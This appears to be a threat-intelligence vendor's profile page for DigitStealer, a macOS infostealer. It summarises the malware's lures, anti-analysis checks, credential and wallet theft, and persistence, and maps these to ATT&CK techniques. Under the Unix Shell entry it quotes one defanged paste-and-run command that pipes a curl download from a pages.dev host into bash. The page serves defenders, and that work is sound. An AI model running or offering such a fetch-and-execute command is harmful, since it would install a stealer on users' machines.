Skip to main content
Live Webinar with SANS (June 25)— Agentic CTI Automation for Fun & ProfitRegister Free
Mallory
Back to malware
Malware

DigitStealer

DigitStealer is a macOS infostealer first observed in late 2025 and described by multiple sources as a sophisticated, macOS-specific stealer. It has been associated with social-engineering-driven campaigns targeting Mac users, including fake software sites, malicious DMG installers, and ClickFix-style or drag-to-Terminal prompts. A documented lure used a fake DynamicLake utility distributed as an unsigned DynamicLake.dmg from dynamiclake[.]org, with payload retrieval from Cloudflare Pages infrastructure. Microsoft also reported DigitStealer delivery in campaigns using fake DynamicLake software.

High-confidence reporting describes DigitStealer as heavily focused on stealth and platform awareness. It uses fileless or largely fileless execution, native macOS utilities, AppleScript, JXA, and multi-stage payload delivery to evade detection. Reported anti-analysis and execution-gating behavior includes locale restrictions, virtual-machine detection, and hardware checks that prevent execution on Intel Macs, Apple M1 systems, and older devices; Jamf specifically reported targeting of Apple Silicon M2-and-newer Macs. One source also states the malware was undetected on VirusTotal at the time of analysis.

Its theft capabilities include harvesting browser credentials and data from Chrome, Brave, Edge, and Firefox; macOS Keychain contents; cryptocurrency wallet data; VPN configurations including OpenVPN and Tunnelblick; Telegram session/data; developer secrets; session data; and files from user directories such as Desktop, Documents, Downloads, Notes, and browser-related stores. Reported wallet targets include Ledger, Electrum, Exodus, and Coinomi. Jamf reported that an AppleScript stage prompts the victim for their macOS password, steals credentials and files, and exfiltrates them to attacker-controlled infrastructure.

Additional behavior attributed to DigitStealer includes resetting macOS TCC permissions to weaken privacy protections, modifying the Ledger Live application, and splitting malicious functionality across multiple stages to reduce detection. Jamf reported a persistence mechanism via a Launch Agent that retrieves a JXA payload through DNS TXT records, with the persistent agent polling command-and-control every 10 seconds and sending a hashed hardware UUID to the C2. Microsoft reported that stolen data was sent to attacker-controlled servers and that traces of infection were deleted afterward.

DigitStealer has been referenced alongside other macOS stealers such as Atomic macOS Stealer (AMOS) and MacSync in broader 2025 macOS infostealer activity. It emerged toward the end of 2025 as a newcomer in the macOS stealer market. Malwarebytes reported detection as MacOA.Stealer.DigitSteal. Some reporting notes that certain samples detected as DigitStealer may actually be distinct malware variants, so attribution of all similarly labeled samples should be treated cautiously.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

MITRE ATT&CK

Techniques & procedures

28 distinct techniques documented for this family, organized by ATT&CK tactic.

Resource Development

1 technique
T1583Acquire InfrastructureEvidence1

Mac users are encountering deceptive websites—often through Google Ads or malicious advertisements—that either prompt them to download fake applications or instruct them to copy and paste commands into their Terminal.

Initial Access

1 technique
T1566.002Spearphishing LinkEvidence1

Mac users are encountering deceptive websites—often through Google Ads or malicious advertisements... During November 2025, Microsoft Defender Experts identified a WhatsApp platform abuse campaign... sends malicious attachments to all contacts using predefined messaging templates.

Execution

6 techniques
T1053.005Scheduled TaskEvidence1

The final stage establishes persistence through a Launch Agent that dynamically retrieves its payload from a DNS TXT record.

T1059Command and Scripting InterpreterEvidence2

Adversaries began using those same paste-and-run methods on macOS, replacing PowerShell with a combination of shell script and AppleScript code.

T1059.002AppleScriptEvidence2

Once the fateful paste into a Terminal window took place, the traditional AppleScript stealer code we’ve observed in previous years executed to gather data and exfiltrate.

T1059.004Unix ShellEvidence2

curl -fsSL https[:]//67e5143a9ca7d2240c137ef80f2641d6.pages[.]dev/c9c114433040497328fe9212012b1b94.aspx| bash

T1059.007JavaScriptEvidence1

A second, more complex JavaScript for Automation (JXA) payload is delivered... The downloaded JXA script acts as a long-running backdoor, polling the C2 server every 10 seconds for new AppleScript or JavaScript commands.

T1204User ExecutionEvidence4

Adversaries began exploring how they could distribute malware in script form to evade Gatekeeper entirely... Adversaries began using those same paste-and-run methods on macOS... Once the fateful paste into a Terminal window took place, the traditional AppleScript stealer code we’ve observed in previous years executed to gather data and exfiltrate.

Persistence

4 techniques
T1053.005Scheduled TaskEvidence1

The final stage establishes persistence through a Launch Agent that dynamically retrieves its payload from a DNS TXT record.

T1543.001Launch AgentEvidence1

LaunchAgent or LaunchDaemon for recurring execution.

T1543.004Launch DaemonEvidence1

LaunchAgent or LaunchDaemon for recurring execution.

T1556Modify Authentication ProcessEvidence1

The third payload zeroes in on users of Ledger Live, modifying the application configuration to redirect sensitive data... replaces or modifies the data.endpoint object with attacker-supplied values.

Privilege Escalation

3 techniques
T1053.005Scheduled TaskEvidence1

The final stage establishes persistence through a Launch Agent that dynamically retrieves its payload from a DNS TXT record.

T1543.001Launch AgentEvidence1

LaunchAgent or LaunchDaemon for recurring execution.

T1543.004Launch DaemonEvidence1

LaunchAgent or LaunchDaemon for recurring execution.

Stealth

4 techniques
T1036MasqueradingEvidence1

The newly discovered sample was found packaged as an unsigned disk image named DynamicLake.dmg, spoofing the legitimate macOS utility... The disk image appears to masquerade as the legitimate DynamicLake macOS utility... Instead, the fake version is distributed via the domain dynamiclake[.]org.

T1497Virtualization/Sandbox EvasionEvidence1

Once decoded, the dropper reveals unusually extensive anti-analysis features, including locale restrictions, VM detection, and hardware-specific sysctl checks.

T1497.001System ChecksEvidence1

The script introduces a new set of anti-analysis checks targeting Apple Silicon systems… to determine whether the target system is running on an Apple Silicon M2 chip or newer.

T1564Hide ArtifactsEvidence1

The AppleScript retrieved by the stealer modifies Ledger Live differently than many previous campaigns… downloading three separate parts and concatenating them. This multi-part assembly tactic is designed to evade single-file detection by security tools.

Defense Impairment

1 technique
T1556Modify Authentication ProcessEvidence1

The third payload zeroes in on users of Ledger Live, modifying the application configuration to redirect sensitive data... replaces or modifies the data.endpoint object with attacker-supplied values.

Credential Access

6 techniques
T1056Input CaptureEvidence1

The first major payload is surprisingly straightforward: an AppleScript that prompts the victim for their macOS password and immediately begins credential harvesting.

T1552Unsecured CredentialsEvidence1

Leverage Defender’s custom detection rules to alert on abnormal access to Keychain, browser credential stores, and cloud/developer artifacts, including SSH keys, Kubernetes configs, AWS credentials, and wallet data.

T1555Credentials from Password StoresEvidence2

These campaigns leverage... to harvest credentials, session data, secrets from browsers, keychains, and developer environments.

T1555.003Credentials from Web BrowsersEvidence2

All three harvest the same types of data—browser credentials, saved passwords... CrystalPDF.exe... covertly hijacking Firefox and Chrome browsers to access sensitive files... including cookies, session data, and credential caches.

T1556Modify Authentication ProcessEvidence1

The third payload zeroes in on users of Ledger Live, modifying the application configuration to redirect sensitive data... replaces or modifies the data.endpoint object with attacker-supplied values.

T1649Steal or Forge Authentication CertificatesEvidence1

A second, more complex JavaScript for Automation (JXA) payload is delivered to harvest... macOS Keychain

Discovery

3 techniques
T1497Virtualization/Sandbox EvasionEvidence1

Once decoded, the dropper reveals unusually extensive anti-analysis features, including locale restrictions, VM detection, and hardware-specific sysctl checks.

T1497.001System ChecksEvidence1

The script introduces a new set of anti-analysis checks targeting Apple Silicon systems… to determine whether the target system is running on an Apple Silicon M2 chip or newer.

T1614.001System Language DiscoveryEvidence1

One notable addition is a locale check… to determine the system’s country setting and exit if it matches certain predefined values.

Collection

4 techniques
T1005Data from Local SystemEvidence1

Collecting and zipping Desktop, Documents, Downloads, and Notes

T1056Input CaptureEvidence1

The first major payload is surprisingly straightforward: an AppleScript that prompts the victim for their macOS password and immediately begins credential harvesting.

T1213Data from Information RepositoriesEvidence1

A second, more complex JavaScript for Automation (JXA) payload is delivered to harvest: Browser data (Chrome, Brave, Edge, Firefox) Cryptocurrency wallets (Ledger, Electrum, Exodus, Coinomi) macOS Keychain VPN configurations Telegram data

T1560Archive Collected DataEvidence2

Collecting and zipping Desktop, Documents, Downloads, and Notes

Command and Control

3 techniques
T1071Application Layer ProtocolEvidence2

The downloaded JXA script acts as a long-running backdoor, polling the C2 server every 10 seconds for new AppleScript or JavaScript commands.

T1071.001Web ProtocolsEvidence1

Inspect network egress for POST requests to newly registered or suspicious domains... Exfiltration through curl.

T1568.003DNS CalculationEvidence1

The final stage establishes persistence through a Launch Agent that dynamically retrieves its payload from a DNS TXT record: “This method of fetching a value from a TXT record… is not something we have previously observed in macOS infostealers.”

Exfiltration

1 technique
T1041Exfiltration Over C2 ChannelEvidence2

Stealing and exfiltrating credentials and files via the attacker’s domain

INDICATORS OF COMPROMISE

IOCs tracked for this family

8 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
5 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
2 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
1 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
domain●●●●●●●●●●●●View more in app5 months ago
domain●●●●●●●●●●●●View more in app5 months ago
hash.sha256●●●●●●●●●●●●View more in app5 months ago
domain●●●●●●●●●●●●View more in app5 months ago
domain●●●●●●●●●●●●View more in app5 months ago
domain●●●●●●●●●●●●View more in app5 months ago
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching8

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping28

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.